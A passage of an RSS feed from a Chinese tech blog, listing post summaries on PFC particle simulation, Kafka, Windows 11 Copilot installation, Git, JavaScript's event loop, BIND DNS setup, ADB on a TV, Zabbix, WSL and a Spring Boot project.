      <description>目录&#xA;FISH入门&#xA;设置重力&#xA;跳跃结构&#xA;保存模型状态&#xA;测量圆的使用&#xA;FISH入门 设置重力 new domain extent -10 10 ball generate radius 0.1 0.3 number 50 box -5 5 wall generate box -5 5 ball attribute density 2e3 damp 0.7 ；分配密度和阻尼，damp阻尼系数耗散能量 cmat default model linear property kn 1e6 set gravity 9.8 ；一般默认竖向往下 ；set gravity 0 -9.8 矢量 cycle 200000 跳跃结构 每秒生成颗粒，共生成了8个颗粒。（重点理解）&#xA;new domain extent -10 10 cmat default model linear property kn 1e6 wall generate box -5 5 set gravity 9.</description>
    </item>
    <item>
      <title>PFCdocumentation_examples_tutorials</title>
      <link>https://bchobby.github.io/posts/8ae13f55cfc3b4e59e1dd510f1e9f569/</link>
      <pubDate>Sun, 06 Aug 2023 21:18:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ae13f55cfc3b4e59e1dd510f1e9f569/</guid>
      <description>目录&#xA;Shallow Foundation&#xA;（1）建立模型&#xA;（2）在试样上方建立基础&#xA;（3）安装地基&#xA;（4）浅隧道开挖&#xA;（5）未加固隧道发生破坏&#xA;（6）引入衬砌加固隧道&#xA;Slip on a Fault&#xA;添加失效面&#xA;重力加载&#xA;改变故障摩擦角&#xA;Creation of a Synthetic Rock Mass (SRM) Specimen&#xA;创建完整岩石&#xA;组装砖块&#xA;添加裂缝&#xA;Shallow Foundation （1）建立模型 model new model domain extent (-1,25) (-6,6) (-6,20) model domain condition destroy wall generate box (0,24) (-5,5) (0,17) model random 10001 ball generate box (0,24) (-5,5) (0,10) number 2000 radius 0.40 contact cmat default type ball-ball model linearpbond ... property fric 0.</description>
    </item>
    <item>
      <title>PFC_lobby_漏斗案例</title>
      <link>https://bchobby.github.io/posts/020c03e510e5e29ecc4cca7f114bb8f2/</link>
      <pubDate>Sun, 06 Aug 2023 21:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/020c03e510e5e29ecc4cca7f114bb8f2/</guid>
      <description>目录&#xA;漏斗案例&#xA;异形墙体生成&#xA;参数化建模&#xA;属性继承&#xA;分层染色&#xA;漏斗案例 重点在于参数化建模！！！&#xA;异形墙体生成 在生成墙体时，需要把底部封上。&#xA;直接坐标画图。&#xA;new domain extent -10 10 wall generate box -8 8 -5 0 onewall ；生成了一个整体的墙，共享一个墙的id号 wall delete range id 3 ；wall delete 是删除facet ；wall delete box 是删除墙命令 ；生成底部容器 wall create vertices -3 8 -3 2 ... ； -3 2 -1 0 ... -1 0 1 0 ... 1 0 3 2 ... 3 2 3 8 ；生成上方漏斗 ；根据节点来生成墙体，（-3,8）表示的是坐标，然后点和点之间形成连线（对于2d） 参数化建模 在建模开始定义一些参数，以便于之后调用。</description>
    </item>
    <item>
      <title>PFC落石模拟</title>
      <link>https://bchobby.github.io/posts/10bd5d52098673faf9ae40d9601a42d9/</link>
      <pubDate>Sun, 06 Aug 2023 21:09:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10bd5d52098673faf9ae40d9601a42d9/</guid>
      <description>Landslide/Rockfall simulation 山体滑坡/落石模拟&#xA;https://www.youtube.com/watch?v=WSa3909qYmI&#xA;模拟的目的在于通过导入团块的对象文件产生团块的二进制输出。&#xA;具体措施：&#xA;(i) 使用导入的几何体形成团块模板&#xA;(ii) 使用Taghavi(2011)定义的BubblePack算法来生成卵石分布&#xA;(iii) 使用Surfcalculate关键字从表面描述中计算惯性属性，假设密度均匀。&#xA;(iv) 理解为比率和距离提供的数值所产生的差异。&#xA;clump template + create keyword&#xA;①bubblepack关键字&#xA;通过Taghavi（2011）的Bubble Pack算法，指定创建团块模板卵石。&#xA;距离fdistance：根据Taghavi（2011）的定义，与光滑度的角度测量相对应的距离fdistance为0 &amp;lt; fdistance &amp;lt; 180。fdistance越大，卵石分布越平滑。&#xA;比率fratio ：块状模板中保留的最小和最大卵石的比率，0 &amp;lt; fratio &amp;lt; 1。&#xA;②surfcalculate关键字&#xA;表面计算，假设密度均匀，从面的描述中计算出惯性属性。&#xA;clump template + export s &amp;lt;keyword ...&amp;gt;&#xA;将块状模板s导出到文件。默认的文件名是{&#34;clump.p2clp&#34;（2D）；&#34;clump.p3clp&#34;（3D）}。如果没有指定nothrow，那么如果一个文件存在，就会被覆盖，否则就会出现错误。这是一个二进制文件，可以用import关键字重新加载。&#xA;skip-errors：表示如果存在指定的名为s的前一个文件，那么它将被覆盖。&#xA;model domain condition periodic&#xA;应用周期性边界条件。当球或团块的中心点落在模型域外时，它们会被传回模型的另一侧。&#xA;model domain condition destroy&#xA;销毁，删除落在模型域之外的球、团块和壁面，这些球、团块和壁面的单个外延（即紧紧包括物体的轴对齐的边界框）。&#xA;clump distribute ①porosity关键字&#xA;最终的孔隙率被设置为fporos。默认情况下，fporos={二维为0.16；三维为0.359}，对应于{二维为盘子；三维为球体}的紧密单分散包装的孔隙率。&#xA;②bin ibin&#xA;指定bin ibin的分布属性。可以指定任何数量的分布的半径范围、体积分数和分布类型。所有分布的体积分数之和必须为1。&#xA;volume-fraction fvfrac：这个分布中的团块的体积分数。所有分布的体积分数之和必须是1。&#xA;clump distribute porosity 0.15 diameter number-bins 6 box -30 30 -30 30 -30 30 .</description>
    </item>
    <item>
      <title>基于Kafka的大规模日志系统实现原理</title>
      <link>https://bchobby.github.io/posts/6f2ef228724d37139424443e8fbe3c31/</link>
      <pubDate>Sun, 06 Aug 2023 20:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f2ef228724d37139424443e8fbe3c31/</guid>
      <description>基于Kafka的大规模日志系统的实现原理主要涉及以下几个方面：&#xA;数据收集：大规模日志系统首先需要从各个数据源收集大量的日志数据。数据源可以是应用程序、服务器、网络设备、传感器等。数据收集可以通过Kafka提供的Producer API实现，将日志数据发布到Kafka的主题中。&#xA;数据存储：Kafka采用分布式、持久化的方式存储数据。一旦数据被发布到Kafka的主题中，它将会被持久化保存，直到达到设定的保留时间或保留大小。这样可以确保数据不会丢失，并且可以支持数据的历史回放。&#xA;数据处理：Kafka本身只是一个消息队列，它不对数据进行处理。在大规模日志系统中，通常会有消费者（Consumer）来从Kafka的主题中拉取数据，并进行进一步的处理。数据处理可以包括数据过滤、转换、聚合、分析等操作，以便将原始的日志数据转换为有用的信息。&#xA;实时处理：大规模日志系统通常需要实时处理日志数据，以满足实时监控和分析需求。为了实现实时处理，可以使用Kafka提供的消费者组（Consumer Group）功能。消费者组允许多个消费者协同消费同一个主题的数据，从而提高处理能力和可用性。&#xA;扩展性：大规模日志系统需要处理大量的数据流，因此需要具备良好的扩展性。Kafka的分区和副本机制允许将数据分布在多个节点上，从而实现水平扩展。当数据量增加时，可以简单地增加更多的Kafka broker和消费者来分担负载。&#xA;容错性：Kafka具备高可用性和容错性。通过副本机制，数据能够冗余存储在多个节点上，即使某个节点出现故障，数据仍然可用。此外，Kafka使用ZooKeeper来管理broker状态和监控健康状态，从而实现故障检测和副本选举。&#xA;数据保留和归档：大规模日志系统通常需要保留历史数据一段时间，以便进行回溯和审计。Kafka允许设置数据的保留时间和保留大小，过期的数据会被自动清理。对于需要长期保留的数据，可以将数据归档到其他存储系统，如Hadoop HDFS或云存储。&#xA;总的来说，基于Kafka的大规模日志系统实现原理利用了Kafka的高性能、可靠性和可扩展性，通过数据收集、存储、处理和实时处理等环节，构建了一个高效、高可用的日志处理平台，广泛应用于日志监控、数据分析、运维管理等场景。</description>
    </item>
    <item>
      <title>《黑镜》S06-04</title>
      <link>https://bchobby.github.io/posts/ae481709b69aeec15f1f671aadca2c82/</link>
      <pubDate>Sun, 06 Aug 2023 19:52:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae481709b69aeec15f1f671aadca2c82/</guid>
      <description>轮胎被扎破的时候，心里倒是有点儿高兴的。该！再加上又TM是黑的。&#xA;有些人靠伤害别人为自己牟利，不管原因有多么的冠冕堂皇，说到底，还不是自私为了挣那几块钱，就别装清高了。这种人的可恶在于特别擅长道德绑架，利用别人的善良来达成自己阴暗的目的。比如，我没钱没吃的，偷你不是正好，反正你也要捐钱做善事。&#xA;每一个程序员都知道，一个程序随着时间逐渐变坏并不是因为逻辑太复杂之类的原因，而是因为时间足够长了，偶尔放纵一下、降低标准的人增多了，这就像细菌让一个苹果腐烂：腐烂不是一天发生的，每天烂一点儿、每天烂一点儿。&#xA;社会也就是这样变烂的。&#xA;所以，每个人都要努力一点儿，不要让自己变烂，间接的也不要让社会变烂。</description>
    </item>
    <item>
      <title>安装带有copilot的Windows11操作系统——超详细</title>
      <link>https://bchobby.github.io/posts/efb16ab8f9f13f9a9ae889611767ba17/</link>
      <pubDate>Sun, 06 Aug 2023 16:39:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efb16ab8f9f13f9a9ae889611767ba17/</guid>
      <description> 目录 准备工作Windows11系统镜像文件下载Rufus工具下载ViVeTool工具下载给磁盘分区 准备工作结束使用Rufus进行镜像烧入进行一些配置（如果没有显示copilot图标这个很重要） 结束 微软在最近发布了最近的Windows11操作系统版本，系统内置copilot工具。&#xA;什么是copilot？对我来说它就是一个系统级别的 new bing，new bing是内置的chat GPT-4的一个工具，可以说是十分不错的。&#xA;唯一的缺点就是没有大陆的版本，而且大陆的网络也是无法使用的（懂得都懂）。以下是copilot运行时的画面。&#xA;不说那么多了，下面直接开始教学。&#xA;准备工作 一台可以运行Windows11的电脑 Windows系统镜像 给磁盘分区 Rufus工具 U盘 手 Windows11系统镜像文件下载 进入Windows11下载页面——单击此处进入下载页面&#xA;进入页面我们下滑找到下载ISO镜像处&#xA;我们选择一个系统镜像下载，不要选择家庭版 ！！！&#xA;下一步选择语言可以选择简体中文&#xA;当为如下页面就可以下载了&#xA;如果你无法访问该页面，可以通过我分享的网盘进行下载——下载链接（企业微盘）&#xA;Rufus工具下载 Rufus——官网——网盘下载（密码：5i6p）&#xA;下载后得到如下文件&#xA;ViVeTool工具下载 这个工具在安装完成系统后可能会用到&#xA;原链接我找不到了时GitHub上的一个项目，网盘下载（蓝奏云，密码：f3d9）&#xA;给磁盘分区 分区我们可以使用系统的磁盘管理，也可以使用第三方工具&#xA;系统的磁盘管理容易崩溃，我这里使用第三方工具DiskGenius——网盘下载&#xA;我这里给磁盘分200GB出来做系统盘【就是C：盘】&#xA;提示有风险我们无视继续&#xA;提示我们要进入PE进行分区，查看是否有正在运行的程序。等无重要的正在运行的程序时就可以单击确认啦&#xA;等待&#xA;确认重启&#xA;这段时间不需要做任何事情，等待重启到系统后我们就可以看到刚才分的磁盘分区&#xA;准备工作结束 使用Rufus进行镜像烧入 打开Rufus工具&#xA;我们将显示USB外置硬盘勾选这样我们就能看到我们的U盘了&#xA;勾选后我们选择ISO镜像文件&#xA;其余默认即可。我们现在开始烧入。烧入会清除U盘中的所有数据请注意备份&#xA;单击开始后还会弹出一个窗口我们按照自己的需求选择&#xA;剩下的都按确认&#xA;等待进度条跑完U盘介质就安装好了&#xA;我们可以在U盘中找到一个exe文件打开&#xA;将复选框取消后下一步&#xA;剩下的步骤可以看我的——这个博客给另一台电脑安装Windows系统（10/11）或者 如何给电脑安装Windows双系统&#xA;进行一些配置（如果没有显示copilot图标这个很重要） 打开ViVeTool工具，里面有一个exe的执行文件打开&#xA;打开后会弹出一个cmd窗口一下【很短暂】运行后重启即可（这个文件夹不建议删除）&#xA;如果你发现你打不开或者你打开显示无法使用可能时因为大陆的网络无法使用需要使用一些工具，这里不好说懂得都懂。当你重启后发现图标消失了，你可以尝试不关工具直接重启（亲测有效）&#xA;当你打开edge中的new bing图标时会打开copilot&#xA;文章到这就结束了&#xA;结束 </description>
    </item>
    <item>
      <title>Git工具安装</title>
      <link>https://bchobby.github.io/posts/136c74615c87de54fe1b1d67471d8ac6/</link>
      <pubDate>Sun, 06 Aug 2023 15:02:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/136c74615c87de54fe1b1d67471d8ac6/</guid>
      <description> Git 工具安装 1. 下载Git安装包2. 安装Git工具3. 简单的使用配置用户名 1. 下载Git安装包 打开官网 https://git-scm.com/downloads点击下载 2. 安装Git工具 右击以管理员身份运行&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/9a99a73d54824800bc87db64f71f7602.png&#xA;鼠标右击桌面发现多了2个东东就是安装成功了。 3. 简单的使用 第一次使用先配置你的Git用户名和邮箱。邮箱记得写真实的，有时候消息都是在邮箱提示的。鼠标右击桌面点击 Git Bash 这个打开。 配置用户名 git config --global user.name &#34;your_name&#34; 设置邮箱 git config --global user.email &#34;xxxxxxxxx@qq.com&#34; </description>
    </item>
    <item>
      <title>关于JavaScript的执行机制</title>
      <link>https://bchobby.github.io/posts/edf6caf12a245bf029dce021c5de2c77/</link>
      <pubDate>Sat, 05 Aug 2023 22:28:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edf6caf12a245bf029dce021c5de2c77/</guid>
      <description>文章目录 JavaScript的执行机制JavaScript 的执行环境JavaScript 的事件循环JavaScript 的执行顺序JavaScript 的异步执行JavaScript 的执行上下文总结 JavaScript的执行机制 JavaScript 是一种单线程语言，即在同一时间只能执行一个任务。这意味着 JavaScript 代码的执行是按照一定的顺序进行的，而不是在多个任务之间进行切换的。JavaScript 的执行机制可以分为以下几个方面：&#xA;JavaScript 的执行环境 JavaScript 的执行环境分为主线程和任务队列两部分。主线程负责执行任务，而任务队列则用于存储待执行的任务。当主线程完成一个任务后，它会从任务队列中取出下一个任务并执行，这个过程被称为事件循环。&#xA;JavaScript 的事件循环 JavaScript 的事件循环是指 JavaScript 引擎不断地从任务队列中取出任务并执行的过程。在事件循环中，主线程会不断地从任务队列中取出任务，如果任务队列为空，则等待新的任务进入队列。&#xA;任务队列分为两种类型：宏任务和微任务。在事件循环中，主线程会先执行一个宏任务，然后执行所有微任务，再执行下一个宏任务。这个过程会一直持续下去，直到任务队列为空。&#xA;具体来说，JavaScript 中的宏任务包括以下几种：&#xA;整体代码块：JavaScript 代码本身就是一个宏任务，即整体代码块。定时器：使用 setTimeout() 和 setInterval() 方法创建的定时器任务。I/O 操作：例如 Ajax 请求、文件读取等异步操作。事件监听器：例如点击事件、键盘事件等。 而微任务包括以下几种：&#xA;Promise.then() 方法的回调函数MutationObserver 的回调函数process.nextTick() 方法的回调函数 在事件循环中，当下一个宏任务执行完毕后，主线程会立即执行所有微任务，然后再执行下一个宏任务。微任务会优先于下一个宏任务执行，者意味着微任务可以在下一个宏任务之前更新视图或执行一些重要的操作，从而提高代码的性能和用户体验。&#xA;JavaScript 的执行顺序 JavaScript 的执行顺序是由事件循环决定的。当任务进入任务队列时，它被添加到队列的末尾。当主线程空闲时，它会从队列的头部取出一个任务并执行。&#xA;具体来说，当一个任务被添加到任务队列中时，它并不会立即执行。相反，它会等待主线程执行完当前的任务，然后再被执行。这意味着任务的执行顺序可能与它们被添加到任务队列中的顺序不同。任务的执行顺序可能因为事件的触发和任务的添加顺序而发生变化。任务的执行是按照事件循环的规则进行的，而不是严格按照任务添加到任务队列的顺序执行。&#xA;在事件循环中，当主线程执行一个宏任务时，它可能会创建一些微任务并将它们添加到微任务队列中。当主线程执行完当前的宏任务后，它会立即执行所有微任务，然后再执行下一个宏任务。这个过程会一直重复下去，直到任务队列为空。&#xA;JavaScript 的异步执行 JavaScript 使用回调函数和 Promise 对象等方式来实现异步执行。当我们执行一个异步操作时，主线程会继续执行下一个任务，而不会等待异步操作的完成。&#xA;当异步操作完成后，JavaScript 会将回调函数或 Promise 对象添加到微任务队列中，等待主线程执行。当主线程执行完当前的宏任务后，它会立即执行所有微任务，这样就能在异步操作完成之后立即执行回调函数或 Promise 对象的处理函数。&#xA;需要主要的是，JavaScript 的异步执行并不是多线程的。在 JavaScript 中，只有一个主线程，所有的任务都是在同一个线程中执行的。当我们执行耗时的任务时，如果该任务是同步的，则会阻塞主线程，导致页面失去响应；如果该任务是异步的，则主线程会继续执行下一个任务，而不会等待该任务完成。&#xA;JavaScript 的执行上下文 JavaScript 的执行上下文是指 JavaScript 引擎在执行代码时创建的一个执行环境，它包含了当前正在执行的代码的相关信息，例如变量、函数、作用域等。JavaScript 中的执行上下文分为以下三种类型：</description>
    </item>
    <item>
      <title>DNS服务器基本概念，和DNS服务器的搭建</title>
      <link>https://bchobby.github.io/posts/496e800ad397a074d408729f97ab867b/</link>
      <pubDate>Sat, 05 Aug 2023 19:40:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/496e800ad397a074d408729f97ab867b/</guid>
      <description>基本概念 DNS服务器是一个关键的网络服务，它用于将易于记忆的域名映射到IP地址在互联网上，使用域名来标识和访问各种资源更方便，而不用记住复杂的IP地址。&#xA;域名（Domain Name）：域名是用于标识网络资源的人类可读的字符串。它通常由多个标签（如www、example、com）组成，每个标签之间用点号（.）分隔。域名提供了更友好的方式来访问互联网上的资源。&#xA;IP地址（Internet Protocol Address）：IP地址是网络设备的唯一标识符，用于在Internet上识别和定位设备。IP地址是一个由数字组成的标准化格式，通常以IPv4（如192.0.2.1）或IPv6（如2001:0db8:85a3:0000:0000:8a2e:0370:7334）表示。&#xA;域名解析（Domain Name Resolution）：域名解析是将域名转换为对应的IP地址的过程。当您在浏览器中键入域名时，DNS服务器负责将域名解析为相应的IP地址，使得网络数据能够正确地路由到目标服务器。&#xA;DNS服务器：DNS服务器是运行DNS服务的计算机，负责存储和管理域名与IP地址之间的映射关系。它可以是递归服务器或授权服务器。&#xA;递归服务器（Recursive Server）：递归服务器是终端用户设备（如计算机、手机）或ISP（Internet Service Provider）提供的服务器。当用户设备请求解析域名时，递归服务器会负责从根域名服务器开始递归地查询，并最终返回正确的IP地址给用户设备。&#xA;授权服务器（Authoritative Server）：授权服务器是存储特定域名和其对应IP地址的服务器。它们是DNS层次结构中域名信息的权威来源。例如，com域名的授权服务器存储了所有.com域名下的域名和IP地址的映射关系。&#xA;TTL（Time to Live）：TTL是域名解析结果在缓存中的存储时间。每次解析域名后，解析结果会被缓存在DNS服务器和客户端设备中，TTL定义了这个缓存的有效期。一旦TTL过期，下次查询将重新执行解析过程。&#xA;DNS查询类型 递归查询：一般客户机和本地DNS服务器之间属于递归查询，即当客户机向DNS服务器发出请求后,若DNS服务器本身不能解析，则会向另外的DNS服务器发出查询请求，得到最终的肯定或否定的结果后转交给客户机。此查询的源和目标保持不变,为了查询结果只需要发起一次查询。（不需要自己动手）&#xA;迭代查询：一般情况下(有例外)本地的DNS服务器向其它DNS服务器的查询属于迭代查询,如：若对方不能返回权威的结果，则它会向下一个DNS服务器(参考前一个DNS服务器返回的结果)再次发起进行查询，直到返回查询的结果为止。此查询的源不变,但查询的目标不断变化,为查询结果一般需要发起多次查询。(需要自己动手)&#xA;总结&#xA;递归查询：从客户端到本地名称服务器，一直以代理形式向其他DNS服务器发出查询请求，直到找到解析结果，然后返回给客户端。迭代查询：在DNS服务器之间的查询中，不断向其他DNS服务器发出请求，直到找到解析结果。 DNS软件bind DNS服务器软件：bind，powerdns，dnsmasq，unbound，coredns&#xA;bind：服务器&#xA;bind-libs：相关库&#xA;bind-utils: 客户端&#xA;bind-chroot: 安全包，将dns相关文件放至 /var/named/chroot/&#xA;bind软件的设置 (正向解析与主从备份) 主服务器设置 yum install bind -y #安装bind网站 我这里提前安装了&#xA;rpm -qc bind #查看bind的配置文件 vim /etc/named.conf #进入named.conf文件 注释掉第13行和第21行 vim /etc/named.rfc1912.zones #打开named.rfc1912.zones cd /var/named/ #进入/var/named文件夹 、 cp -a named.localhost xwm.cn.zone #复制named.localhost并重命名为xwm.cn.zone vim xwm.cn.zone #编辑xwm.cn.zone文件 systemctl start named #启动服务 可以用host来验证主服务器是否配置成功 如图，配置成功</description>
    </item>
    <item>
      <title>Gson：解析JSON为复杂对象：TypeToken</title>
      <link>https://bchobby.github.io/posts/97e1269cb2f2dbb9a5e1beda29e983db/</link>
      <pubDate>Sat, 05 Aug 2023 17:08:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97e1269cb2f2dbb9a5e1beda29e983db/</guid>
      <description>需求 通过Gson，将JSON字符串，解析为复杂类型。&#xA;比如，解析成如下类型：&#xA;Map&amp;lt;String, List&amp;lt;Bean&amp;gt;&amp;gt;&#xA;依赖（Gson） &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.code.gson&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;gson&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 解决方案 使用 TypeToken 来定义复杂类型。&#xA;Type type = new TypeToken&amp;lt;复杂类型&amp;gt;() {}.getType(); 代码示例 测试 package com.example.web.user; import java.lang.reflect.Type; import java.util.List; import java.util.Map; import com.example.util.FileUtils; import com.example.web.user.bean.User; import com.google.gson.Gson; import com.google.gson.reflect.TypeToken; /** * 测试：Gson解析字符串为复杂类型。 */ public class Test { public static void main(String[] args) { // 读取文件内容 String json = FileUtils.read(&#34;config/group_user.json&#34;); // 转为需要的类型 Gson gson = new Gson(); Type type = new TypeToken&amp;lt;Map&amp;lt;String, List&amp;lt;User&amp;gt;&amp;gt;&amp;gt;() { }.</description>
    </item>
    <item>
      <title>红米电视 ADB 安装 app 报错 failed to authenticate xxx:5555</title>
      <link>https://bchobby.github.io/posts/6ad7302b07c5ec4b3534d5461b79523b/</link>
      <pubDate>Sat, 05 Aug 2023 15:12:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ad7302b07c5ec4b3534d5461b79523b/</guid>
      <description>开启电视开发者模式，允许安装未知来源应用及开启 ADB 调试电脑端下载 adb 工具 点击下载同一局域网的电脑使用 adb 工具连接（提前查看电视 IP）D:\adb&amp;gt;adb connect 192.168.1.7 * daemon not running; starting now at tcp:5037 * daemon started successfully failed to authenticate to 192.168.1.7:5555 提示未授权D:\adb&amp;gt;adb connect 192.168.1.7 already connected to 192.168.1.7:5555 再次连接，提示已连接D:\adb&amp;gt;adb devices List of devices attached 192.168.1.7:5555 unauthorized 查看已连接设备，显示未授权D:\adb&amp;gt;adb install 电视家.apk error: device unauthorized. This adb server&#39;s $ADB_VENDOR_KEYS is not set Try &#39;adb kill-server&#39; if that seems wrong. Otherwise check for a confirmation dialog on your device.</description>
    </item>
    <item>
      <title>Zabbix网络拓扑配置</title>
      <link>https://bchobby.github.io/posts/883920593ec1e72bcb69e14cd71dec69/</link>
      <pubDate>Sat, 05 Aug 2023 15:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/883920593ec1e72bcb69e14cd71dec69/</guid>
      <description>一、简介&#xA;网络拓扑功能是一项非常重要的功能，它可以直观展示网络设备主机状态及端口传输速率等指标信息，帮助运维人员快速发现和定位故障问题；Zabbix同样配备了强大的网络拓扑功能，如何使用Zabbix拓扑图功能创建一个公司网络拓扑图就显得尤为重要。&#xA;二、配置&#xA;1、新建拓扑图，点击新建按钮&#xA;2、配置网络拓扑图信息(所有字段信息都可以修改调整)&#xA;添加完成后，“拓扑图”菜单中点击新建的拓扑名称进入拓扑页。然后点击右上角“编辑拓扑图”按钮，进入到拓扑图编辑界面&#xA;3、添加已监控网络设备主机&#xA;4、如图操作添加多个设备后，设备间两两选择添加“链接”，按住ctrl选择两台网络设备，然后点击链路“添加”按钮即可。&#xA;编辑链路配置绑定触发器及指标标签&#xA;标签使用监控项数据有avg、last、min和max&#xA;5、更新拓扑图，看效果&#xA;三、首页配置仪表盘拓扑图&#xA;1、创建新仪表盘&#xA;2、添加卡片组件，选择拓扑图&#xA;拓扑展现效果如图所示。Zabbix目前不支持拓扑自动发现。&#xA;博客可能不能及时回复问题，技术问题欢迎加入交流。&#xA;具有丰富的模板资源及模板开发能力、项目落地管理经验分享欢迎加入交流&#xA;微信号:king_songax</description>
    </item>
    <item>
      <title>Windows安装子系统Linux</title>
      <link>https://bchobby.github.io/posts/44695845abfa1d3cfba80b64097a70cd/</link>
      <pubDate>Sat, 05 Aug 2023 14:27:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44695845abfa1d3cfba80b64097a70cd/</guid>
      <description>Windows安装子系统(Linux ubuntu） 安装条件步骤1.安装WSL命令2.设置Linux用户名和密码3.写个简单的.c程序看看4.如何互传文件 安装条件 Windows 10版本2004及更高的版本才能安装。&#xA;步骤 1.安装WSL命令 我们可以使用WSL来安装子系统 Linux ubuntu(默认是这个)。&#xA;调出终端 我们输出cmd 然后以管理员身份运行。输入命令 wsl --install 安装 WSL。 2.设置Linux用户名和密码 这个安装完 WSL，我这边是重启了电脑就自动给我弹出了ubuntu的终端了，或者你不重启电脑直接输出 wsl 命令进入ubuntu 然后让我设置用户名和密码，记得你写密码的时候 是不会显示出来的。&#xA;3.写个简单的.c程序看看 写个.c程序 vim a.c&#xA;编译程序 gcc a.c&#xA;提示没有这个gcc，安装一下 sudo apt install gcc&#xA;重新编译 成功生成a.out了&#xA;运行 ./a.out&#xA;全过程:&#xA;cyang@PC-20230531P:~$ vim a.c cyang@PC-20230531P:~$ cyang@PC-20230531P:~$ gcc a.c Command &#39;gcc&#39; not found, but can be installed with: sudo apt install gcc cyang@PC-20230531P:~$ sudo apt install gcc cyang@PC-20230531P:~$ gcc a.</description>
    </item>
    <item>
      <title>解决mac上 vs code 在debugging时无法输入的办法（c&#43;&#43;）</title>
      <link>https://bchobby.github.io/posts/952f91a63ce133a031f531dd7d7b018c/</link>
      <pubDate>Sat, 05 Aug 2023 13:51:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/952f91a63ce133a031f531dd7d7b018c/</guid>
      <description>方法一：&#xA;1.打开launch.json，修改其中的external console值为true（原来应该是false）&#xA;2.回到cpp文件debug，此时会调用外部的终端（而非vs code的 integrated terminal），在mac的终端中输入，enter，然后vs code 可以继续debug&#xA;这种方法会造成在运行c/c++文件时同样在外部终端中运行，而非vs code的融合终端&#xA;如果装了code runner且设置coderunner在integratedTerminal中运行，launch.json中的更改不会影响code runner的设置，即coderunner仍然在Integrated Terminal中运行&#xA;方法二&#xA;https://youtu.be/wKjFVyDbSpA 视频讲解相当清晰，此处不再赘述&#xA;这个方法更加优雅，不像方法一那样曲折</description>
    </item>
    <item>
      <title>如何将markdown转为pdf、html、jpg格式？</title>
      <link>https://bchobby.github.io/posts/95f6cce92ef012723dcffb02284d4705/</link>
      <pubDate>Sat, 05 Aug 2023 12:21:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95f6cce92ef012723dcffb02284d4705/</guid>
      <description>Markdown是一种轻量级标记语言，它允许人们使用易读易写的纯文本格式编写文档，然后转换成有效的XHTML文档。&#xA;我一般使用vscode来写作开发文档，有时候需要把markdown文档导出为其他格式，如：html，pdf或jpg，就需要安装其他插件十分麻烦，后来看到有在线转换的工具，直接拖markdown文件就可以在线转换，还挺方便的。&#xA;markdown转html：markdown在线转html - www.strerr.com&#xA;markdown转pdf：markdown在线转pdf - www.strerr.com&#xA;markdown转jpg：markdown在线转jpg - www.strerr.com&#xA;如下是转换pdf效果</description>
    </item>
    <item>
      <title>计算机毕业设计springboot快递仓库管理系统502yr9【附源码&#43;数据库&#43;部署&#43;LW】</title>
      <link>https://bchobby.github.io/posts/103124e1aff095bdca245b592a4a9eb7/</link>
      <pubDate>Fri, 04 Aug 2023 21:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/103124e1aff095bdca245b592a4a9eb7/</guid>
      <description>本项目包含程序+源码+数据库+LW+调试部署环境，文末可获取一份本项目的java源码和数据库参考。&#xA;系统的选题背景和意义 选题背景： 随着电子商务的快速发展，快递行业迎来了蓬勃的发展机遇。然而，随之而来的是快递仓库管理面临的一系列挑战。传统的快递仓库管理方式存在一些问题，如人工操作繁琐、信息不准确、效率低下等。为了提高快递仓库管理的效率和准确性，开发一套快递仓库管理系统具有重要意义。该系统基于先进的技术和管理理念，通过优化仓库布局、自动化操作、实时监控等方式，为快递仓库提供一个高效、智能的管理平台。&#xA;意义： 快递仓库管理系统的设计与实现对于提高快递行业的运营效率和服务质量具有重要意义。首先，该系统可以优化仓库布局。传统的仓库布局往往是根据经验和直觉进行规划，容易出现空间浪费、物流路径冗余等问题。而通过快递仓库管理系统，可以利用先进的算法和模拟技术，对仓库布局进行优化。系统可以根据货物种类、流量分布等因素，合理规划货架位置、货物存放区域，最大限度地提高仓库空间的利用率和货物的存取效率。&#xA;其次，快递仓库管理系统可以实现自动化操作。传统的仓库管理方式往往需要大量的人工操作，容易出现人为错误和效率低下的问题。而通过该系统，可以引入自动化设备和机器人技术，实现货物的自动分拣、装载和搬运。系统可以根据订单信息和货物属性，自动将货物分配到对应的区域，并通过机器人进行快速、准确的搬运。这样不仅可以提高仓库操作的效率，还可以减少人力成本和人为错误的发生。&#xA;此外，快递仓库管理系统还可以实现实时监控。在传统的仓库管理方式下，仓库的运营情况往往难以及时了解和监控。而通过该系统，可以实时监控仓库的各项指标，如货物存储情况、货架空位、货物流动情况等。系统可以通过传感器和监控设备，实时采集数据并进行分析，提供仓库运营的实时状态和预警信息。这样可以帮助管理人员及时发现问题并采取相应的措施，提高仓库的运营效率和服务质量。&#xA;综上所述，快递仓库管理系统的设计与实现对于提高快递行业的运营效率和服务质量具有重要意义。通过优化仓库布局、实现自动化操作和实时监控，该系统可以为快递仓库提供一个高效、智能的管理平台，提高仓库操作的效率和准确性，提升快递行业的竞争力和用户体验。&#xA;以上选题背景和意义内容是根据本选题撰写，非本作品实际的选题背景、意义或功能。各位童鞋可参考用于写开题选题和意义内容切勿直接引用。本作品的实际功能和技术以下列内容为准。&#xA;技术栈： 前端Vue：用于构建交互式用户界面。&#xA;后端Java开发语言：使用Java作为后端开发语言。&#xA;Spring Boot框架：作为快速开发框架，替代了SSM框架，提供自动配置、快速构建等功能。&#xA;MySQL 5.7数据库：用于数据存储和管理。&#xA;使用Spring 